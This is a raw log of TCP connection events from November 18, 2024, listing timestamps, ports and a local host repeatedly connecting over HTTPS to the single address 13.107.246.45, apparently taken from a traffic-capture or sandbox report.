Nov 18, 2024 20:21:39.513039112 CET	443	49799	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.513087988 CET	49799	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.513170004 CET	49799	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.513185024 CET	443	49799	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.513197899 CET	49799	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.513205051 CET	443	49799	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.515484095 CET	49805	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.515531063 CET	443	49805	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.515605927 CET	49805	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.515899897 CET	49805	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.515918016 CET	443	49805	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.534610987 CET	443	49802	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.535083055 CET	49802	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.535115004 CET	443	49802	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.535557032 CET	49802	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.535563946 CET	443	49802	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.597228050 CET	443	49803	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.597790956 CET	49803	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.597821951 CET	443	49803	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.598254919 CET	49803	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.598261118 CET	443	49803	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.603950024 CET	443	49800	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.604038954 CET	443	49800	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.604104042 CET	49800	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.604878902 CET	49800	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.604902983 CET	443	49800	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.604917049 CET	49800	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.604924917 CET	443	49800	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.607503891 CET	49806	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.607548952 CET	443	49806	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.607618093 CET	49806	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.607917070 CET	49806	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.607932091 CET	443	49806	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.668431044 CET	443	49802	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.668514967 CET	443	49802	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.668663025 CET	49802	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.668845892 CET	49802	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.668864965 CET	443	49802	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.668878078 CET	49802	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.668884993 CET	443	49802	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.671555996 CET	49807	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.671617031 CET	443	49807	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.671715021 CET	49807	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.671888113 CET	49807	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.671912909 CET	443	49807	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.730819941 CET	443	49803	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.731482029 CET	443	49803	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.731573105 CET	49803	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.731654882 CET	49803	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.731654882 CET	49803	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.731703997 CET	443	49803	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.731738091 CET	443	49803	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.734113932 CET	49808	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.734163046 CET	443	49808	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.734357119 CET	49808	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.734505892 CET	49808	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.734539032 CET	443	49808	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.300081968 CET	443	49805	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.300636053 CET	49805	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.300662994 CET	443	49805	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.301099062 CET	49805	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.301112890 CET	443	49805	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.311537027 CET	443	49804	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.311960936 CET	49804	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.311976910 CET	443	49804	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.312408924 CET	49804	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.312417984 CET	443	49804	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.427591085 CET	443	49806	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.428082943 CET	49806	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.428096056 CET	443	49806	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.428569078 CET	49806	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.428575039 CET	443	49806	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.430728912 CET	443	49805	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.430908918 CET	443	49805	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.430983067 CET	49805	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.431054115 CET	49805	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.431078911 CET	443	49805	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.431096077 CET	49805	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.431102991 CET	443	49805	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.435066938 CET	49809	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.435108900 CET	443	49809	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.435174942 CET	49809	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.435373068 CET	49809	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.435379028 CET	443	49809	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.448156118 CET	443	49804	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.448227882 CET	443	49804	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.448291063 CET	49804	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.448683023 CET	49804	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.448698044 CET	443	49804	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.449641943 CET	443	49807	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.450077057 CET	49807	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.450095892 CET	443	49807	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.450531960 CET	49807	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.450537920 CET	443	49807	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.452409983 CET	49810	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.452461958 CET	443	49810	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.452539921 CET	49810	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.452655077 CET	49810	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.452675104 CET	443	49810	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.547606945 CET	443	49808	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.548401117 CET	49808	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.548439980 CET	443	49808	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.548851013 CET	49808	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.548861027 CET	443	49808	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.560683012 CET	443	49806	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.560889006 CET	443	49806	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.560952902 CET	49806	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.562728882 CET	49806	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.562751055 CET	443	49806	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.562762022 CET	49806	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.562768936 CET	443	49806	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.565928936 CET	49811	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.565983057 CET	443	49811	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.566128969 CET	49811	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.566397905 CET	49811	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.566423893 CET	443	49811	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.585273027 CET	443	49807	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.585355043 CET	443	49807	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.585447073 CET	49807	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.585623026 CET	49807	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.585649014 CET	443	49807	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.585663080 CET	49807	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.585671902 CET	443	49807	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.593801022 CET	49812	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.593839884 CET	443	49812	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.593914032 CET	49812	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.612485886 CET	49812	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.612523079 CET	443	49812	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.680831909 CET	443	49808	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.680943966 CET	443	49808	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.681006908 CET	49808	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.740272999 CET	49808	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.740323067 CET	443	49808	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.947065115 CET	49813	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:40.947105885 CET	443	49813	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:40.947170019 CET	49813	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.010138035 CET	49813	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.010157108 CET	443	49813	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.177611113 CET	443	49809	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.210257053 CET	443	49810	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.228230953 CET	49809	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.259824991 CET	49810	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.283530951 CET	49809	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.283555031 CET	443	49809	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.283992052 CET	49809	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.284001112 CET	443	49809	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.287396908 CET	49810	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.287419081 CET	443	49810	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.287983894 CET	49810	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.287990093 CET	443	49810	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.296664953 CET	443	49811	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.339430094 CET	49811	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.350291014 CET	49811	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.350322008 CET	443	49811	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.351291895 CET	49811	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.351299047 CET	443	49811	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.364756107 CET	443	49812	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.409389019 CET	443	49809	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.409625053 CET	443	49809	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.409781933 CET	49809	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.411817074 CET	49812	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.418360949 CET	443	49810	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.418395042 CET	443	49810	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.418461084 CET	443	49810	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.418481112 CET	49810	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.418545961 CET	49810	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.445135117 CET	49812	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.445152044 CET	443	49812	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.445914030 CET	49812	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.445919037 CET	443	49812	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.481543064 CET	443	49811	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.481729984 CET	443	49811	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.482003927 CET	49811	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.547210932 CET	49809	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.547260046 CET	443	49809	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.562530994 CET	49810	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.562531948 CET	49810	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.562604904 CET	443	49810	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.562638044 CET	443	49810	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.568927050 CET	443	49812	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.569113970 CET	443	49812	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.569181919 CET	443	49812	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.569233894 CET	49812	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.772016048 CET	443	49813	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.826261044 CET	49813	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.986212015 CET	49813	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.986233950 CET	443	49813	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.986805916 CET	49813	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.986812115 CET	443	49813	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.987211943 CET	49811	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.987247944 CET	443	49811	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:41.987265110 CET	49811	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:41.987272978 CET	443	49811	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:42.116441011 CET	443	49813	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:42.116612911 CET	443	49813	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:42.116775036 CET	49813	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.321235895 CET	49812	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.321237087 CET	49812	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.321271896 CET	443	49812	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:42.321283102 CET	443	49812	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:42.391017914 CET	49813	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.391045094 CET	443	49813	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:42.391083002 CET	49813	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.391091108 CET	443	49813	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:42.445696115 CET	49819	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.445754051 CET	443	49819	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:42.445818901 CET	49819	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.455641985 CET	49820	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.455682993 CET	443	49820	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:42.455741882 CET	49820	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.456059933 CET	49819	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.456116915 CET	443	49819	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:42.463085890 CET	49820	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.463109016 CET	443	49820	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:42.465779066 CET	49821	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.465812922 CET	443	49821	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:42.465868950 CET	49821	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.466247082 CET	49821	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.466259956 CET	443	49821	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:42.467381001 CET	49822	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.467401981 CET	443	49822	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:42.467452049 CET	49822	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.468440056 CET	49823	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.468449116 CET	443	49823	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:42.468499899 CET	49823	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.469110966 CET	49823	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.469120026 CET	443	49823	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:42.478357077 CET	49822	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:42.478391886 CET	443	49822	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.191885948 CET	443	49819	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.193962097 CET	49819	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.194006920 CET	443	49819	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.194539070 CET	49819	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.194545984 CET	443	49819	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.201601982 CET	443	49821	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.201996088 CET	49821	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.202075005 CET	443	49821	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.202366114 CET	49821	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.202379942 CET	443	49821	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.209218979 CET	443	49820	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.210613966 CET	49820	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.210654020 CET	443	49820	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.211435080 CET	49820	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.211443901 CET	443	49820	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.212296009 CET	443	49822	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.212644100 CET	49822	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.212662935 CET	443	49822	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.213042021 CET	49822	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.213047981 CET	443	49822	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.221759081 CET	443	49823	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.222419024 CET	49823	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.222431898 CET	443	49823	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.223001957 CET	49823	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.223006010 CET	443	49823	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.325567961 CET	443	49819	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.325705051 CET	443	49819	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.327886105 CET	49819	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.331434011 CET	49819	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.331434011 CET	49819	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.331476927 CET	443	49819	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.331504107 CET	443	49819	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.333642960 CET	443	49821	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.333734035 CET	443	49821	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.333894968 CET	49821	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.334199905 CET	49821	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.334233999 CET	443	49821	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.336919069 CET	49826	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.336991072 CET	443	49826	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.337658882 CET	49826	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.338459015 CET	49826	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.338490963 CET	443	49826	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.339505911 CET	49827	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.339553118 CET	443	49827	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.339871883 CET	49827	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.339989901 CET	49827	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.340003967 CET	443	49827	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.340568066 CET	443	49820	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.341795921 CET	443	49820	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.341856003 CET	443	49820	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.341857910 CET	49820	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.341922998 CET	49820	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.341958046 CET	49820	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.341979980 CET	443	49820	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.341995001 CET	49820	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.342003107 CET	443	49820	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.343563080 CET	443	49822	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.343641043 CET	443	49822	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.343717098 CET	49822	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.343952894 CET	49822	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.343961000 CET	443	49822	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.343974113 CET	49822	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.343978882 CET	443	49822	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.344146967 CET	49828	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.344181061 CET	443	49828	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.344304085 CET	49828	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.344392061 CET	49828	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.344408035 CET	443	49828	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.346123934 CET	49829	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.346154928 CET	443	49829	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.346270084 CET	49829	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.346462011 CET	49829	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.346473932 CET	443	49829	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.357355118 CET	443	49823	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.357420921 CET	443	49823	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.357553959 CET	49823	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.357593060 CET	49823	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.357593060 CET	49823	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.357615948 CET	443	49823	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.357626915 CET	443	49823	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.359610081 CET	49830	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.359627962 CET	443	49830	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:43.359879017 CET	49830	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.360114098 CET	49830	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:43.360126019 CET	443	49830	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.071787119 CET	443	49827	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.072515965 CET	49827	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.072540998 CET	443	49827	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.073204994 CET	49827	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.073210001 CET	443	49827	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.081059933 CET	443	49826	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.081661940 CET	49826	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.081712961 CET	443	49826	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.082056999 CET	49826	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.082071066 CET	443	49826	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.101757050 CET	443	49829	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.102615118 CET	49829	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.102633953 CET	443	49829	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.103193998 CET	49829	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.103203058 CET	443	49829	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.153795958 CET	443	49830	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.154369116 CET	49830	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.154391050 CET	443	49830	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.154648066 CET	49830	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.154653072 CET	443	49830	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.201342106 CET	443	49827	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.201370955 CET	443	49827	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.201421976 CET	443	49827	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:44.201478004 CET	49827	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.201642036 CET	49827	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:44.201663017 CET	443	49827	13.107.246.45	192.168.2.5
